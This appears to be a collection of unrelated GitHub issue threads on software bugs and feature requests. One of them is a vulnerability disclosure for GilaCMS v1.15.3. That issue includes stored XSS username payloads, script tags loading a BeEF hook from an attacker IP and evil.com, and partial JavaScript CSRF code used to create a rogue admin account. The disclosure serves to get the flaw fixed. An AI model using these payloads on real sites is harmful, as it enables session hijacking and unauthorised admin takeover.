13:08:51.196 [INF] LNWL: Fetching block height=568457 hash=0000000000000000001e4cb64e17b65f2654e5807a2cb5845c3def034d8a54df +24s ``` ## Possible Fix Factor recovery process into the sync progress calculations and progress bar display ## Steps to Reproduce Import an old wallet and monitor the lnd logs whist the sync is happening. ## Your Environment - Zap version: 0.4.1 - Operating System and version: all Status: Issue closed Answers: username_0: Closed via https://github.com/LN-Zap/zap-desktop/pull/2133
Azurblau/Zombies.Zone
321912636
Title: [SUGGESTION] WZS: Last Human Question: username_0: Properties: - Has 300 Armor - Has 500 Health - Respawns at the same place or a random place (What ever seems more fair for you guys) - Will get a special weapon, only avialible to the Last human and not buyable otherwise - Spawns with 5000 Ammo BUT still has to reload - Can no longer use the shop or 2nd hand shop to buy stuff (Banned for life return) - Will always have a beacon on him for zombies to find him - Badass music to round it all up - maybe a custom model for that, but not necessary! I thought this Human can only be spawned IF there are more than 20 Zombie players (+ bots) and its after Wave 4 (Wave 5 and 6 Only) This can be applied to 1 and 2 and maybe to server 3 aswell but thats up to worm if he thinks its a good idea or not. Answers: username_0: Maybe add a slowmotion when that event is triggered and spawn him somewhere else. + Last human can not phase (Clumsy return) username_1: The unable to phase return is actually wide load and not actually Clumsy username_0: I must have mixed that up then sry username_2: Ahh... stealing idea from FWKZT or HG.. uh oh as well...
GilaCMS/gila
702741024
Title: XSS+CSRF Exploit chain & Source Code disclosure (gila v1.15.3) Question: username_0: (Please forgive my poor English.) Hello, I found XSS+CSRF exploit chain in gila version v1.15.3. I tried to submit the security issus by Email, but it seems your recipient Email System is down. I tried to reduce my Email size but it still been returned. I'm sorry for reporting security vuln in issues. Here is the security vuln's details: ## Vuln 1: Stored Cross-Site Script **The premise:** Your site open the "New Users Can Register" option in Administration's Settings. * Payload1: Hacker can register a username like `hacker"><script>alert(XSS!)</script>` by intercepting the HTTP request . Though username will be like `hacker">` in the Users Page because of your team's nice filter when outputing the username, the evil string of username actually be written into the database. Then, if admin of the site set a post's Author to the hacker's account, the post will alert when anyone visit the post's page. (By the way, `">` isn't necessary in both payloads.) In short, this XSS payload will get into the db when registering and be ouputed when the post show author's name. * Payload2: And another payload will alert in Admin's User Page. Payload is `x"><img src=x onerror=alert(1)>` **The influence:** Hacker can do anything that XSS can do without get Admin's GSESSIONID if he only use the stored XSS payload1. Hacker can't do anything very terrible because of the limit of username's length in the stored XSS payload2. ## Vuln 2: Potential Cross-Site Request Forgery I found Gila only regenerate formToken of Admin's pages when admin logging in, and every form use the same formToken. That's terrible, it's a potential threaten. CSRF token should regenerate everytime user visit the form. I advise Gila use the mature CSRF token solution rather than developing a simple token generating function. **The influence**: The formToken acutually disturb the hacker, but it's not enough. If hacker get the token in some way (like the Exploit chain below), he might can exploit the vuln successfully. ## XSS+CSRF Exploit chain Here is the example of exploit the two vulns above to create a new Admin User for Hacker. (`http://mycms.com/gila` is the GilaCMS's URL, and `http://10.0.17.249:3000`or`http://evil.com` is the hacker's URL.) * **Step1.** register a username with `hacker"><script/src=http://10.0.17.249:3000/hook.js></script>`. The `http://10.0.17.249:3000/hook.js` is Hacker's BeEF's URL. (BeEF is a Hacker's XSS Platform.) ![step1-change-evil-username-by-Burpsuite.png)](https://raw.githubusercontent.com/username_0/fseeeye-pocs/master/gila-v1.15.3-xss-and-csrf/step1-change-evil-username-by-Burpsuite.png) ![step1-created-hacker-account.png](https://raw.githubusercontent.com/username_0/fseeeye-pocs/master/gila-v1.15.3-xss-and-csrf/step1-create-hacker-account.png) * **Step2.** Admin user set a post's author to the hacker's account. ![step2-admin-set-author-to-hacker.png](https://raw.githubusercontent.com/username_0/fseeeye-pocs/master/gila-v1.15.3-xss-and-csrf/step2-admin-set-author-to-hacker.png) * **Step3.** When the Admin visit the post whose author is the hacker's account after admin logged in, BeEF will get the connected from `http://mycms.com/gila/3/xss` and it can load evil js to the page. I tested alert the message: "XSS!". ![step3-beef-connected-and-test-alert.png](https://raw.githubusercontent.com/username_0/fseeeye-pocs/master/gila-v1.15.3-xss-and-csrf/step3-beef-connected-and-test-alert.png) ![step3-test-result.png](https://raw.githubusercontent.com/username_0/fseeeye-pocs/master/gila-v1.15.3-xss-and-csrf/step3-test-result.png) * **Step4.** Using BeEF to create a <iframe> label leading to `/gila/cm/edit_form/user?id=1` and then we can get the formToken in response. ![step4-get-formToken-from-iframe.png](https://raw.githubusercontent.com/username_0/fseeeye-pocs/master/gila-v1.15.3-xss-and-csrf/step4-get-formToken-form-iframe.png) * **Step5.** Using the CSRF exp below: (You should change the formToken with Step4's result.) ```javascript xhr = function(){ /*AJAX*/ var request = false; if(window.XMLHttpRequest) { request = new XMLHttpRequest(); } else if(window.ActiveXObject) { try { request = new window.ActiveXObject('Microsoft.XMLHTTP'); } catch(e) {} } return request; }(); request = function(method,src,argv,content_type){ xhr.open(method,src,false); xhr.withCredentials = true; if(method=='POST')xhr.setRequestHeader('Content-Type',content_type); xhr.send(argv); return xhr.responseText; } [Truncated] attack_a(); ``` **method 1:** Using BeEF to exec the CSRF AJAX JS payload. ![step5-using-BeEF-exploit-CSRF-payload.png](https://raw.githubusercontent.com/username_0/fseeeye-pocs/master/gila-v1.15.3-xss-and-csrf/step5-using-BeEF-exploit-CSRF-payload.png) **method 2:** Create a new user named: `hacker"><script/src=http://evil.com/csrf.js></script>` where stored the evil js payload and repeat Step2&Step3. ![step5-create-another-hacker-account.png](https://raw.githubusercontent.com/username_0/fseeeye-pocs/master/gila-v1.15.3-xss-and-csrf/step5-create-another-hacker-account.png) Finally, a new Admin user was created and actived. ![step5-exp-result.png](https://raw.githubusercontent.com/username_0/fseeeye-pocs/master/gila-v1.15.3-xss-and-csrf/step5-exp-result.png) ## Source Code disclosure Bug and some other advice And I found some bugs, Unreasonable design and potential security problems. These don't really matter, so i just add these in the ending. 1. **Source Code disclosure Bug:** your code in `/src/core/views/login.php` line 21, there's missing a space between `<?php` and `Event::fire('login.btn');`. It lead to print source code in pages. 2. **Unreasonable design:** There's no delete function of Users/Categories Manager in Admin Panel. And there's no common users logout way. 3. **potential security problems:** Password didn't use md5 encryption in HTTP POST Request when registering, MITM attack will be appear though HTTPS protocol don't have this problem. And login page didn't have Verification code so that Brute force username and password. That's All. Thanks for reading. And I'll be appreciated if you can response. Answers: username_1: Thank you. I will check all, but you should have sent email username_0: I'm exceedingly sorry for this again. username_0: I’ve sent you a Email successfully. Is it need to contact with Email? Status: Issue closed
Submitty/Submitty
332526637
Title: Sample data: Note to TA / Student Question: username_0: Currently these are always blank. It would be nice if they had a chance of having text. Answers: username_1: Let's add test cases to make sure these messages appear to the TAs (both note to TA & note to student should be displayed), and students (*only* not to student should be displayed -- note to TA might contain secret information that should stay hidden from students) Status: Issue closed
DIYgod/RSSHub
579683938
Title: NGA 支持子分区 Question: username_0: ### 网站地址 分区: https://nga.178.com/thread.php?fid=616 子分区: https://nga.178.com/thread.php?stid=20496737 ### 网站描述 知名游戏论坛 ### 需要生成什么内容? - [ ] 分区内容 `/nga/forum/fid/616` - [ ] 子分区内容 `/nga/forum/stid/20496737` ### 额外描述 现有 nga 路由只支持分区 `/nga/forum/616`,希望支持子分区并对它们做出区分 Answers: username_1: 大佬是太忙么,应该先实践一下的。 ![批注 2020-03-12 131254](https://user-images.githubusercontent.com/3047708/76489477-6e1aa000-6463-11ea-8a2b-7fd27b1df088.png) username_0: 还能这样?代码里明明传的是 fid,难道 fid 和 stid 是互相兼容的? Status: Issue closed
hammerlab/ketrew
116199882
Title: Confusing web UI Question: username_0: There's probably some amount of getting used to a new interface that will help me understand the web view, but some things stand out as having some room for improvement: * _unfamiliar icons_. I see a wrench, a UNIX-style arrow, the number 1, and a link. The link is closest to being immediately recognizable in functionality, but I'm not sure why I'd want to link to a row in a jobs table. * _slow mouseover_. Not sure if this is only my machine, but the mouseover text takes ~1s to appear. * _not sure how to undo the effect of clicking "1"_. I've limited the table to just one row. I'm not sure why I need that or how to undo it. * _clicking on the name of the pipeline should show details_. I'm surprised that the name and ID are just plain text, rather than a link to a more detailed view containing a list of dependencies or subtasks. * _JS tabs_. My browser already has tabs, I don't know if I gain much having them recreated within a web UI. This also makes it hard to navigate a deep tree of dependencies since each level opens up another tab. * _weird terminology_. Looking at a task's history I see that it's been "Passive", "Active", "Building", "Still_building", and at some point had a "Check-and-Activation" event. What do these mean? Answers: username_1: Those are states of the nodes' automata. We need to add more info in the UI indeed. Also we need to explain them further there → http://seb.mondet.org/software/ketrew/Glossary.html username_1: @ihodes added some more links https://github.com/hammerlab/ketrew/pull/260
irbv-collections/MT-controlled-vocabulary
85592467
Title: New Person or combination Question: username_0: [Originally posted on GoogleCode (id 1177) on 2014-06-21 by lufortin] <b>(This is the template to report a new person. For another issue, change the</b> <b>template above.)</b> <b>1. Report the person name(s) or combination you found on the specimen label</b> <b>(collector, determined by, catalogued by, etc.) below.</b> 2. Enter &quot;pending&quot; as a temporary person name. <b>3. The collection staff will verify the name and add it to the database.</b> <b>4. You will receive a confirmation by email.</b> Person name(s): <NAME> Field (collector, determined by, catalogued by, etc.): collector ID of the specimen(s): MT00192933 Your name: Lucie
Kotlin/kotlinx.serialization
490808136
Title: Deserializing Json with a Variable Key Question: username_0: I could use some help on a tricky serialization issue. For context, I am using the current version of `kotlinx.serialization` in a multplatform project. The basic question is this: _what is the best way to handle deserialization of Json when one of the field names (i.e. keys) is variable?_ I have put together a simple example to illustrate the problem: ``` @Serializable data class UserData(val name: String) @Serializable data class User( val user_data: UserData, val user_contributions: List<Contribution> ) {} interface Action { val id: String } @Polymorphic interface Content @Polymorphic interface Contribution : Action { val content: Content } @Serializable data class Mentor( override val id: String, @SerialName("mentorContent") override val content: MentorContent ) : Contribution { @Serializable data class MentorContent(val mentor: String, val mentee: String) : Content } @Serializable data class Judge( override val id: String, @SerialName("judgeContent") override val content: JudgeContent ) : Contribution { @Serializable data class JudgeContent(val judge: String, val judged: String) : Content } // Given this JSON: { "user_data": { "name": "Justin" }, "user_contributions": [ { "id": "1", "mentorContent": { "mentor": "Lisa", "mentee": "Phil" } }, { "id": "2", "judgeContent": { [Truncated] User( user_data = UserData(name = "Justin"), user_contributions = listOf( Contribution( id = "1", content = MentorContent(mentor = "Lisa", mentee = "Phil") ), Contribution( id = "1", content = JudgeContent(judge = "Robert", judged = "Karen") ) ) ) ``` I’ve posted it as a gist here in case that’s easier to read: https://gist.github.com/username_0/510db77af727d6c80728ec7daa68cf2d Thanks! Answers: username_1: So, you don't have any `type` filed in json to store type information, right? In this case, you can try to write serializer directly for `Content` to deserialize part of Json tree and then determine which keys this tree have. See example with `Either`: https://github.com/kotlin/kotlinx.serialization/blob/45aa7c7ab97f25f205408b46a7069886408bce6b/runtime/commonTest/src/kotlinx/serialization/json/JsonTreeAndMapperTest.kt#L38 Status: Issue closed
smallrye/smallrye-jwt
503660171
Title: Improve the CDI code Question: username_0: Right now Thorntail and Quarkus have some CDI code which ideally should be located in smallrye-jwt in the form of `CDIUtils` and may be `AbstractExtension` referring to these `CDIUtils` for Thorntail (and may be WildFly) CDI extension code, as well as any Quarkus code integrating smallrye-jwt be able to reuse the same code. Answers: username_1: Bear in mind we want to try and do things that don't require a CDI Extension to do what is needed Status: Issue closed
nexssp/cli
695277342
Title: Pipe (|) of nexss commands on Windows not working Question: username_0: ```sh nexss Id --nxsAs=A | nexss Id --nxsAs=B # Should return json including field A and B nexss Id --nxsAs=A | nexss Id --nxsAs=B | nexss Id --nxsAs=D | nexss Id --nxsAs=E # there same here but A,B,D,E echo '{"x":1234}' | nexss Id # this should have another field in json x. ``` files: **.nexssCli\nexss-start\lib\stdin.js** **.nexssCli\nexss-start\lib\readable.js** This works on Linux so to make it easier there are 2 functions, and for win32 is separate. Status: Issue closed Answers: username_0: This does work if we run 'nexss' from `./bin/nexss.ps1`, which is now not installed automatically by npm (Program os the npm link does not pass through their bi). So basically nexss programmer works on windows but if you want pipes like nexss Id | nexss Id --nxsAs="anotherField" you need to use /bin/nexss.ps1.
osspsuite/docker-compose
701359287
Title: Environment variables in .env files Question: username_0: The example in README about using `docker-compose config` to check for unset variables implies that when using `-f path/to/docker-compose.yml` the `.env` file will be picked up from the directory of `docker-compose.yml` file. This does not appear to be the case. Paths used with `env_file` entries *within* `docker-compose.yml` are taken to be relative to the project directory, but that does not seem to be the case for the way `docker-compose` looks for the default `.env` file. This is unfortunate and makes working from the repository root directory more tedious without a script or alias helper. Answers: username_0: Looks like this is bug docker/compose#7600 Status: Issue closed
iarentertainment/iamrapnation
82216535
Title: #iargang - <NAME> pours his heart out to fans in new instagram post Question: username_0: <b>#iargang - <NAME> pours his heart out to fans in new instagram post</b><br><p dir="ltr"><NAME> pours his heart out to fans in new instagram post</p> <div class="separator" style="clear: both; text-align: center;"><a href="http://ift.tt/1HzdcOZ" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://ift.tt/1eBahhI"></a></div> <div class="separator" style="clear: both; text-align: center;"><a href="http://ift.tt/1HzdcP3" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://ift.tt/1eBaeT8"></a></div> <div class="separator" style="clear: both; text-align: center;"><a href="http://ift.tt/1HzdfdL" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://ift.tt/1eBaeTc"></a></div> <div class="separator" style="clear: both; text-align: center;"><a href="http://ift.tt/1HzdcP9" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://ift.tt/1eBahhM"></a></div> <br><br> via Blogger http://ift.tt/1G4LgYn<br> May 28, 2015 at 04:33PM
cyclestreets/cyclescape
113338470
Title: Non-uniqued membership request link in membership admin requests list Question: username_0: http://camcycle.cyclescape.org/groups/2-camcycle/members has several cases of the same person having requested membership, and each request is listed. This is only an interface listing bug - the entry for each request does go to the same URL. The page should be uniqued per user, i.e. just show the latest request from a user, if they have made requests more than once.
swooletw/laravel-swoole
391836496
Title: Response code is not correct Question: username_0: Make sure you read **Issues Guideline** and answer these questions before submitting your issue. Thanks! (Any **non-English** issues will be closed immediately.) 1. Please provide your PHP and Swoole version. (`php -v` and `php --ri swoole`) PHP 7.2.13 swoole:4.2.9 2. Please provide your Laravel/Lumen version. lumen 5.6.4 3. Which release version of this package are you using? latest 4. What did you do? If possible, provide a recipe for reproducing the error. 5. What did you expect to see? status code is reponse by lumen ,yet ,Laravel-swoole returns a wrong status code 6. What did you see instead? ``` bash [2018-12-17 18:18:56] production.INFO: .............error.......... [2018-12-17 18:18:56] production.INFO: 409 [2018-12-17 18:18:56] production.INFO: HTTP/1.0 200 OK^M Cache-Control: no-cache, private^M Date: Mon, 17 Dec 2018 18:18:56 GMT^M ^M Lumen (5.6.4) (Laravel Components 5.6.*) [2018-12-17 18:18:56] production.INFO: array ( '' . "\0" . 'App\\Exceptions\\ApiError' . "\0" . '_errorLevel' => 'Error', '' . "\0" . 'App\\Exceptions\\ApiError' . "\0" . '_code' => '2009', '' . "\0" . 'App\\Exceptions\\ApiError' . "\0" . '_message' => 'The user have already received the coupon.', '' . "\0" . 'App\\Exceptions\\ApiError' . "\0" . '_status_code' => 409, ) [2018-12-17 18:18:56] production.INFO: HTTP/1.0 401 Unauthorized^M Access-Control-Allow-Credentials: true^M Access-Control-Allow-Origin: http://127.0.0.1:35228^M Access-Control-Expose-Headers: x--errorcode, x--errormessage^M Cache-Control: no-cache, private^M Content-Type: application/json^M Date: Mon, 17 Dec 2018 18:18:56 GMT^M Vary: Origin^M X-Catpitastarmallapi-Debugid: 5c17e8904a9d4^M X-Catpitastarmallapi-Errorcode: 2009^M X-Catpitastarmallapi-Errormessage: The user have already received the coupon.^M ^M ``` ![image](https://user-images.githubusercontent.com/485505/50107040-712cdd80-026c-11e9-8ccc-367817e92d44.png)<issue_closed> Status: Issue closed
micronaut-projects/micronaut-core
701049542
Title: Get cookies when opening WebSocket connection Question: username_0: ### Task List - [ ] Steps to reproduce provided - [ ] Stacktrace (if present) provided - [x] Example that reproduces the problem uploaded to Github - [x] Full description of the issue provided (see below) Using WebSocket with Micronaut `@ServerWebSocket`, when opening the connection, it could be nice to be able to get the cookie from the request. The goal is to be able to authenticate users with HttpOnly cookies. ### Expected Behaviour ``` @OnOpen Publisher<String> onOpen(String username, WebSocketSession session) { try { // feature request - start Map cookies = session.session.request.cookies // or Map cookiesAlternative = session.requestCookies // feature request - end return broadcaster.broadcast(mapper.writeValueAsString(event), onlyMe(username)); } catch (Exception exception) { throw exception } } ``` ### Actual Behaviour The request is not reachable with the `session` parameter. However, in debug, we can see that the request is a private attribute of the `session` ### Environment Information - **Operating System**: All - **Micronaut Version:** 2.x - **JDK Version:** 8 ### Example Application https://gist.github.com/username_0/7e2e0ec7578b9bdcf6bd28848b1dd0b5 Status: Issue closed Answers: username_0: By digging into the code I have found : https://github.com/micronaut-projects/micronaut-core/blob/2.0.x/validation/src/main/java/io/micronaut/validation/websocket/WebSocketVisitor.java
olifolkerd/tabulator
604616734
Title: footer total Question: username_0: <!-- YOUR BUG REPORT MUST CONTAIN A LINK TO A JSFiddle OR Codepen THAT DEMONSTRATES THE ISSUE OR IT WILL BE CLOSED WITHOUT DISCUSSION Please read the Bug Reporting Guide before completing this issue: http://tabulator.info/community#bug Please make sure you fill in all the sections of this template to give us the best chance of helping you --> **Describe the bug** A clear and concise description of what the bug is. **Tabulator Info** - Which version of Tabulator are you using? **Working Example** YOU MUST include a link to a JS Fiddle or Codepen that demonstrates the problem, it is very hard to diagnose an issue from a simple description. <!-- ISSUES CREATED WITHOUT THIS EXAMPLE WILL BE CLOSED WITHOUT DISCUSSION --> **To Reproduce** A step by step guide to recreate the issue in your JS Fiddle or Codepen: 1. Go to '...' 2. Click on '....' 3. Scroll down to '....' 4. See error **Expected behavior** A clear and concise description of what you expected to happen. **Screenshots** If applicable, add screenshots to help explain your problem. **Desktop (please complete the following information):** - OS: [e.g. iOS] - Browser [e.g. chrome, safari] - Version [e.g. 22] **Smartphone (please complete the following information):** - Device: [e.g. iPhone6] - OS: [e.g. iOS8.1] - Browser [e.g. stock browser, safari] - Version [e.g. 22] **Additional context** Add any other context about the problem here. Answers: username_1: You have not filled in any of the required parts of this issue, template. you have just written the word "footer template" as the title. Please resubmit this with all the required details Cheers Oli :) Status: Issue closed
ant-design/ant-design
254425868
Title: Cursor when hovering over the Input (TextArea) bottom right corner Question: username_0: ### What problem does this feature solve? Show the right cursor for resizing the Input box (TextArea). This is what it currently looks: ![image](https://user-images.githubusercontent.com/5996531/29938788-e92100c6-8e57-11e7-8c1a-1b1481101a7d.png) ### What does the proposed API look like? No api change. The cursor should be ![image](https://user-images.githubusercontent.com/5996531/29938823-000dce72-8e58-11e7-8e6e-b8b9196e1ea3.png) <!-- generated by ant-design-issue-helper. DO NOT REMOVE --> Status: Issue closed Answers: username_1: Just go back to default cursor of browser: http://www.wibibi.com/info.php?tid=191
RoomReserve/RoomReserve
137148596
Title: Remove sortable option on Edit columns on DataTables tables Question: username_0: $(document).ready(function() { $('#example').dataTable( { "aoColumns": [ null, null, { "bSortable": false } ] } ); } ); Answers: username_0: This'll require some reworking on initializing the Table in myjs.js Project for another day. username_1: Yes, that's minor bug but we will fix it soon. username_1: Sorting the edit button won't change anything anyways, at least from what I have tested. username_1: I guess we can not assign two assignees haha username_0: Yes it is minor but it will look better. I know how to do it but I'll do it another day. username_1: Sounds good. username_1: https://datatables.net/reference/option/columns.orderable username_1: I fixed it. The commit is [here](https://github.com/RoomReserve/RoomReserve/commit/15ac26812d3d7b1d4dda3f13797bf47e17d8fdd5) Status: Issue closed
vercel/pkg
667012128
Title: Unable to compile app with -r esm Question: username_0: @username_1 no, I gave up... Answers: username_1: Hey @username_0, I'm getting the same error when running `hasura metadata export` in Hasura CLI. This is the only place I could find. Have you found a root cause of the problem? Something wrong with Node installation? username_0: @username_1 no, I gave up... username_2: I had the same issue and it was only happening when I ran it from the terminal in VSCode. In a separate terminal it worked. (Changing the shell in VSCode didn't help either). username_3: It seems [**NODE_OPTIONS**](https://nodejs.org/api/cli.html#cli_node_options_options) is read by the `node` inside of the `pkg`, so if you have any special option or bootstrap included on that environment variable, it could generate conflicts with the `node` inside the `pkg` (with the debugger, for example). In my case, that **NODE_OPTIPONS** was in my particular environment defined by **VSCode** because I was debugging on that moment. I don't know the reason because `VSCode` defined the variable in my session, maybe it is related to some particular configuration of the debug options. I see some errors related to that: **`require(...).internalModuleStat is not a function` and `ERR_INSPECTOR_NOT_AVAILABLE`**. However, multiple errors could be generated, it depends of each `NODE_OPTIONS`. I think **vercel/pkg** cannot do anything about that. I will make a PR to include it on the documentation. username_4: Hey @username_1 , I encountered the same error with `hasura metadata export`. Did you manage to find a solution ? Status: Issue closed username_5: closing duplicate of #782
mikepenz/Android-Iconics
365117538
Title: setColor() in IconicsImageView not found Question: username_0: Hi, I have update the Iconics library to 2.9.5, and support library to 27.1.1. Now with this code: `IconicsImageView selected_icon = (IconicsImageView) getView().findViewById(R.id.selected_icon); selected_icon.setColor(mColor);` I get this error: "error: cannot find symbol method setColor(int)" Anything has changed or I am doing something wrong? Thanks Answers: username_1: This was changed. Please simply retrieve the drawable via `getIcon()` and then apply the color on it. The delegate methods were removed to minimize the count of methods in the library Status: Issue closed username_0: Do you mean this right?: `selected_icon.getIcon().color(mColor);` Thanks!
Kotlin/kotlin-jupyter
877015067
Title: Is it possible to define a custom (cell) magic Question: username_0: This is more of an inquiry/research question: I recently started playing around with [Jep](https://github.com/ninia/jep) a bit and found it quite useful for combining the Java image processing library [ImgLib2](https://github.com/imglib/imglib2) and [Kotlin extensions/operators](https://github.com/saalfeldlab/ntakt) with NumPy ndarray in native CPython. This all works with shared memory, really cool! I learned about library descriptors, which I could use to add Jep and a Python interpreter to the Kernel. Users could then call ``` interpreter.exec ``` and similar functions to execute their Python code. Then I thought, maybe I can mark an entire cell as Python code via some custom cell magic, and the magic handler would then pass the Python code to the Python interpreter object that the Kernel holds. To make this work, I would need some way (that may or may not exist) to add a custom cell magic. Before I spend more time on it, I would like to know if something like that would be possible, in principle, or if I would be wasting my time. Thank you! Answers: username_1: Hello @username_0! Currently the list of magics is fixed and not extensible, but your idea is really cool. I think that I can implement even a more powerful way of doing it — custom code preprocessor which takes the whole cell code before the execution and can change it in any way. In your case it will wrap the cell code to the interpreter.exec() call. username_0: Thank you for the fast response and addressing this so quickly! This is much more than I could have hoped for and I am excited to see what will come out of it. username_2: The problem with loading python code is that we will also have to somehow load python code completion. The similar thing was done in beakerx (though they just used different kernels for that). username_1: Custom completion contributors (as well as error reporters) are also not too hard to add via the API. I'll do it in a separate PR, I think username_0: Is that within the scope of this feature? My inquiry (and understanding of the proposed solution) was more in the sense that the Kotlin kernel exposed a way to add a custom processor that I could use for a Python cell. My custom preprocessor would not be part of the official kernel (at least initially), so I don't think there would be a need to provide code completion. username_2: If you do not need code completion and highlighting, then you actually do not need the cell magic you can do something like that: ```kotlin val res = withPython(""" callSomePythonFunction() """) ``` username_0: Thanks for addressing this so swiftly @username_1 Can you share an example how I would add this to a library descriptor? I am not familiar the code base so it is hard for me to figure it out from the diff alone. Thanks username_1: Hi! It is an advanced feature. We have a common concern not to add support of such features for JSON descriptors. But you can support it in your library/wrapper. First, set up the integration for your lib as described here: https://github.com/Kotlin/kotlin-jupyter/blob/master/docs/libraries.md#integration-using-kotlin-api Then, add `preprocessCode` call to your integration class, it will be something like this for you: ```kotlin @JupyterLibrary internal class Integration : JupyterIntegration() { override fun Builder.onLoaded() { preprocessCode { code -> if (code.startsWith("%%python")) { wrapPythonCode(code.removePrefix("%%python")) } else code } } } ``` username_1: BUT - I didn't think about it - there is actually a hacky way to with JSON descriptor: ```json { "init": "USE { preprocessCode { code -> if (code.startsWith(\"%%python\")) { wrapPythonCode(code.removePrefix(\"%%python\")) } else code } }" } ``` But I don't recommend it :) username_0: I just tested the discouraged way by adding to the descriptor and it works beautifully! I only had to make the lambda return an (empty) string: ```kotlin "USE { preprocessCode { code -> if (code.startsWith(\"%%python\")) { python.exec(code.removePrefix(\"%%python\")); \"\" } else code } }" ``` username_1: Well, I'm glad that your problem is solved username_0: I was also able to create a [library definition the proper way](https://github.com/username_0/jepyter) (example notebooks in the repo). I am really happy with how this turned out. Thanks again!
liquibase/liquibase-gradle-plugin
115055594
Title: allow to configure databaseChangeLogTableName and databaseChangeLogLockTableName Question: username_0: for example to prefix them with a special namespace Answers: username_1: You can already configure these things with the plugin. There was some discussion of this in the old repo (https://github.com/tlberglund/gradle-liquibase-plugin/issues/28). Is your request something different? username_0: I looked at that thread and I tried to configure it via ```gradle -Dliquibase.databaseChangeLogTableName=WMS_DBCHANGELOG updateSQL``` or by adding ```System.setProperty('liquibase.databaseChangeLogTableName', "WMS_DBCHANGELOG")``` to my build.gradle file but it did not have any effect username_0: thanks for that hint, setting it via ```System.setProperty('liquibase.databaseChangeLogTableName', "DBCHANGELOG")``` does exactly what I need! Status: Issue closed
reactioncommerce/catalyst
555112097
Title: sizeSmall class for TableCell has an invalid padding value Question: username_0: Type: minot **Describe the bug** The theme is missing a p in px for the padding here: https://github.com/reactioncommerce/catalyst/blob/160f6f34b4ea27fb14ac3ea3b57ff15bc0eb49f8/package/src/theme/defaultTheme.js#L488 Status: Issue closed Answers: username_2: :tada: This issue has been resolved in version 1.18.1 :tada: The release is available on: - [npm package (@latest dist-tag)](https://www.npmjs.com/package/@reactioncommerce/catalyst) - [GitHub release](https://github.com/reactioncommerce/catalyst/releases/tag/v1.18.1) Your **[semantic-release](https://github.com/semantic-release/semantic-release)** bot :package::rocket:
Dushistov/flapigen-rs
834012011
Title: Autoclone Reference to<T: Clone + X> Question: username_0: Hey! In order to make the library easier to use, i was wondering if theres a way to add something like automatically cloning a reference for a T that is cloneable. It already exists in a Vec<T>(I think?), but i dont see it on any regular T, and flapigen currently returns `error: Do not know conversation from such rust type '& Tester' to Java type` (Not sure if this typemap is corrrect) Example: ``` foreign_typemap!( ($p:r_type) <T: SwigForeignClass + Clone> &T => swig_i_type!(T) { $out = swig_from_rust_to_i_type(T, $p.clone(), ret); }; ); #[derive(Clone)] pub struct Tester { } foreign_class!( #[derive(Clone)] class Tester { self_type Tester; private constructor = empty; fn Tester::test(&self) -> &Tester { let t = Tester { }; &t } } ); ``` Answers: username_1: There is #169 almost about that.
openwhyd/openwhyd
467833610
Title: Error 502 in player iframe, when trying to play YouTube track from Electron app Question: username_0: **To Reproduce** Steps to reproduce the behavior: 1. Go to '...' 2. Click on '....' 3. Scroll down to '....' 4. See error **Expected behavior** A clear and concise description of what you expected to happen. **Screenshots** If applicable, add screenshots to help explain your problem. **Desktop (please complete the following information):** - OS: [e.g. iOS] - Browser [e.g. chrome, safari] - Version [e.g. 22] **Smartphone (please complete the following information):** - Device: [e.g. iPhone6] - OS: [e.g. iOS8.1] - Browser [e.g. stock browser, safari] - Version [e.g. 22] **Additional context** Add any other context about the problem here. Answers: username_0: Possibly a side effect of our recent migration to Express? (#122) username_0: I was not able to reproduce by playing the provided track from https://openwhyd.org/yt/86abqN_mx3g username_0: Things to try: - notice if this behavior happens at specific times of the day. (=> could be caused by exceptionnally high traffic on the server, resulting in timeouts or rate limits) - try to play the same tracks from another web browser - try switching to another DNS. (cf https://blog.lws-hosting.com/divers/erreur-502-bad-gateway-resoudre-probleme) - from Google Chrome Dev Tools, provide a dump of the "Network" tab of the player's iframe, to have more context about what caused the 502. Status: Issue closed username_0: Let's reopen if it happens again.
antlr/antlr4
227472114
Title: generated antlr go target can't use node-related GetText() GetSymbol() GetLiteralNames() GetSymbolicNames() Question: username_0: <!-- Before submitting an issue to ANTLR, please check off these boxes: - [X] I am not submitting a question on how to use ANTLR; instead, go to [antlr4-discussion google group](https://groups.google.com/forum/#!forum/antlr-discussion) or ask at [stackoverflow](http://stackoverflow.com/questions/tagged/antlr4) - [X] I have done a search of the existing issues to make sure I'm not sending in a duplicate Please include information about the expected behavior, actual behavior, and the smallest grammar or code that reproduces the behavior. If appropriate, please indicate the code generation targets such as Java, C#, ... Pointers into offending code regions are also very welcome. --> $ go build myt2app.go # command-line-arguments ./myt2app.go:37: ctx.Expression(0).GetSymbol undefined (type parser.IExpressionContext has no field or method GetSymbol) ./myt2app.go:38: ctx.GetLiteralNames undefined (type *parser.EquationContext has no field or method GetLiteralNames) ./myt2app.go:39: ctx.GetSymbolicNames undefined (type *parser.EquationContext has no field or method GetSymbolicNames) I'm doing my best to follow along the antlr 4 definitive reference chapter 7 decoupling grammars from application-specific code, but the golang target has less of a knowledge base around it to follow with examples. What would be the best way to implement the golang specific code to parse and then generate the standard calculator answer output without embedding code within the grammar? Thank you in advance. using antlr4 grammars calculator.g4 localted: https://github.com/antlr/grammars-v4/blob/master/calculator/calculator.g4 I noticed I can only debug the grammar with java at present with the following: step 1)generate java code from grammar antlr4 calculator.g4 step 2)compile the java code javac *.java step 3)no gui java debug grammar output grun calculator equation input.txt -tree step 4)gui java debug grammar output grun calculator equation input.txt -gui I generated the golang parser with: mkdir -p parser cd parser antlr4 -Dlanguage=Go calculator.g4 -visitor cd .. go build myt2app.go ./myt2app input.txt input.txt contains: a = 4 + 3 myt2app.go contains: package main import ( "github.com/antlr/antlr4/runtime/Go/antlr" "./parser" "os" "fmt" ) type TreeShapeListener struct { *parser.BasecalculatorListener } [Truncated] // fmt.Printf("invalid parse tree shape.\n") // os.Exit(1) // } // fmt.Printf("parentR.GetBaseRuleContext():<<%s>>\n", parentR.GetBaseRuleContext()) // fmt.Printf("ctx.GetBaseRuleContext():<<%s>>\n", ctx.GetBaseRuleContext()) // } // } func main() { input, _ := antlr.NewFileStream(os.Args[1]) lexer := parser.NewcalculatorLexer(input) stream := antlr.NewCommonTokenStream(lexer,0) p := parser.NewcalculatorParser(stream) p.AddErrorListener(antlr.NewDiagnosticErrorListener(true)) p.BuildParseTrees = true tree := p.Equation() 